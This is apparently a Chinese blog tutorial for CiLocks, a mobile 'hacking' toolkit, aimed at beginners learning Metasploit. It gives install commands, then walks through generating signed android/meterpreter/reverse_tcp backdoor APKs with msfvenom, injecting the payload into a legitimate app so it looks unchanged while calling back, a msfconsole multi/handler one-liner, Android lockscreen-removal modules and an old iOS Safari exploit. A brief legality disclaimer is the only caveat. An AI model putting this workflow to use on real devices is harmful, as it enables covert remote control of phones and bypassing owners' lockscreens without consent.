CiLocks Metasploit入门4种Listener模式与msfconsole快速上手【免费下载链接】CiLocksCrack Interface lockscreen, Metasploit and More Android/IOS Hacking项目地址: https://gitcode.com/GitHub_Trending/ci/CiLocksCiLocks 是一款面向 Android/iOS 的终端安全测试工具箱其中与Metasploit深度集成的模块是它的核心亮点通过msfconsole一键拉起 exploit 与 post 模块配合msfvenom生成reverse_tcp 后门 APK并内置4 种 Listener 模式让新手无需手写复杂命令即可快速上手移动端渗透实验。⚠️ 声明本项目仅可用于合法授权的安全测试与学习研究请勿用于任何非法用途。一键安装CiLocks3步完成环境部署CiLocks 运行在 Linux 终端环境Kali、NetHunter、Termux 均可依赖 ADB、PHP、Node 等工具。第一步安装基础依赖sudo apt update -y sudo apt install php nodejs npm adb scrcpy wget unzip apktool jq -y第二步安装 Metasploitmsfconsolesudo apt install msfconsole -y第三步克隆仓库并启动git clone https://gitcode.com/GitHub_Trending/ci/CiLocks cd CiLocks chmod x cilocks sudo bash cilocks启动后脚本会自动检测系统信息与已安装组件。贴心的是data/config 会专门检查msfconsole是否存在若未安装会弹窗提示sudo apt-get install msfconsole -y避免新手在 Metasploit 菜单处卡住。Metasploit子菜单4大功能一览在主菜单输入10进入Jump To Metasploit后会出现「Metasploit Backdoor Generator」子菜单入口逻辑位于主脚本 cilocksInstall Application— 通过 ADB 安装 APK 到目标设备Create Payload Backdoor {Msfvenom} Singed— 生成并签名后门 APKRun Metasploit— 启动 msfconsole 并选择 4 种 Listener 模式Inject Payload In Original Application— 将 payload 注入到原始应用中功能1Install Application 安装应用输入 APK 路径并可选择是否立即运行。脚本执行adb install完成安装若选择运行还会询问包名并自动启动对应 Activity是测试阶段把目标应用部署到模拟器的最快方式。功能2Msfvenom 生成签名的Payload后门这是整个工作流的起点。脚本会依次执行用msfvenom -p android/meterpreter/reverse_tcp lhost你的IP lport端口生成反向连接 payload用keytool创建 Keystore、jarsigner签名Android 要求 APK 必须签名才能安装用zipalign对齐优化最终产物保存在 backdoor/ 目录你只需填入LHOST攻击机 IP与LPORT监听端口其余全自动。生成的 APK 在目标上打开后会主动向你的 msfconsole 发起回连。功能3Run Metasploit —— 4种Listener模式详解进入选项 3 后CiLocks 展示了平台 payload 并给出4 种 Listener 模式源码见 cilocks模式对应 Metasploit 模块适用场景1. Multi Handler {默认}exploit/multi/handler通用接收器等待任何 payload 回连最常用2. Remove Lockpost/android/manage/remove_lock获取会话后自动移除 Android 锁屏3. Remove Lock {Root}post/android/manage/remove_lock_root针对已 Root 设备的锁屏移除4. Safari Jit {iOS 7.1.2}exploit/apple_ios/browser/safari_jit攻击老版本 iOS 的 Safari 漏洞对应关系一目了然Android 目标→android/meterpreter/reverse_tcpiOS 目标→osx/armle/execute/reverse_tcp选择模式并填入 LHOST/LPORT 后脚本会在新 xterm 窗口中执行类似下面的自动化命令msfconsole -x use exploit/multi/handler; set PAYLOAD android/meterpreter/reverse_tcp; set lhost IP; set lport PORT; exploit; exit -y也就是说CiLocks 把打开 msfconsole → 选择模块 → 配置参数 → 启动监听这一整套流程压缩成了菜单操作这正是新手快速上手 Metasploit 的捷径。功能4Inject Payload 注入原始应用与功能 2 生成空白后门不同功能 4 使用msfvenom --platform android -x 原始APK ...的方式把 reverse_tcp payload注入到你提供的原始 APK中产物同样输出到 backdoor/ 目录。注入后的应用界面不变打开时却在后台回连——这是移动端渗透中最经典的投递手法也是理解为什么后门要签名的关键环节。常见问题msfconsole与Listener排错清单Q1选完 Listener 没反应或提示找不到模块先确认msfconsole -v可用模块报缺失时执行msfupdate更新模块库。Q2目标 APK 打开了但一直没回连检查三点LHOST 是否为攻击机同一局域网的 IP、LPORT 是否被占用、目标设备与攻击机防火墙是否放行。Q3Remove Lock 系列模式与 Multi Handler 是互斥的吗不是。Multi Handler 是收连接的监听器Remove Lock 是拿到 meterpreter 会话后执行的 post 模块。实际使用通常先起 Multi Handler 拿会话再在 msfconsole 里跑 remove_lock。Q4模拟器里 Brute 功能不生效README 提示若每 5 次错误后自动延迟 30 秒可在脚本中调整adb shell input keyevent 26相关逻辑具体见 README.md。结语CiLocks 的 Metasploit 模块把移动端渗透的完整链条——msfvenom 生成后门 → 签名注入 → msfconsole 四种 Listener 监听 → 锁屏移除——封装进了一个菜单对刚接触msfconsole的新手极为友好。建议先在 Android 模拟器NetHunter/Termux 已 Root上跑通 Multi Handler 默认模式再逐步尝试其余 Listener理解每个模块背后的原理后你也就真正入门了 Metasploit。【免费下载链接】CiLocksCrack Interface lockscreen, Metasploit and More Android/IOS Hacking项目地址: https://gitcode.com/GitHub_Trending/ci/CiLocks创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考